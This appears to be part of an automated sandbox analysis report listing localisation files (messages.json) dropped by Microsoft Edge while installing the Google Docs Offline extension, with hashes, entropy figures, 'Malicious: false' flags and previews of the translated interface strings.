SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

